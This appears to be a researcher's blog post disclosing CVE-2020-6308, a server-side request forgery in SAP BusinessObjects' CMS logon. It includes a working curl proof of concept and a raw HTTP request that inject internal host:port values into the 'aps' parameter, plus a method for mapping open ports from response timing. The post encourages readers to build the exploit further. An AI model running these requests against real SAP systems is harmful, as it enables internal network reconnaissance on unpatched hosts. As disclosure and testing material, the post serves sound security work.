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SAP SSRF CVE 2020 6308

December 2020 (249 Words, 2 Minutes)

CVES Penetration Testing Insecure Code

SAP BusinessObjects Business Intelligence Platform (Web Services) versions - 410, 420, 430, allows an unauthenticated attacker to inject arbitrary values as CMS parameters to perform lookups on the internal network which is otherwise not accessible externally.

I reported the issue to SAP in May 2020 and patch released October 2020. You can go ahead and develop your own PoC futher, however, I’ll provide a bit of background. The CMS function doesn’t validate the address given. If the host firewall isn’t configured correctly, its possible to easily fingerprint for ports or internal network based on responses received from requests. I’ll show in the below example how you can see open ports using the CuRL request.. In the below example I have a SAP Host (192.168.0.191), Attacking Machine (192.168.0.149) and another device e.g. internal router (192.168.0.1).

Our SAP host has the following ports open:

And our internal router has the following open: 53,80,34573

So let’s test this, we can identify open ports simply based on the timings of the request response. Examples below:

time curl -i -s -k  -X $'POST' \
    -H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
    --data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
    $'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='

Testing the following payloads:

192.168.0.1:4
192.168.0.1:5

Here you can see closed ports test time results, average around 5ms..

192.168.0.1:22
192.168.0.1:80

Here you can see open/filtered ports test time results much larger..

Now the below isn’t ideal, as different routings, some firewalls can impact the results. However, it should give you an idea on where to start building a better exploit.. The above can be adjusted by creating a baseline then working further from there. I’d definitely advise looking at setting up a listener, then seeing what happens.

The below shows how the request will look in Burp with the APS parameter being the vulnearble injection point. Simpler PoC would be to just inject a canary token value and wait for the trigger..

Web Request

POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1

aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp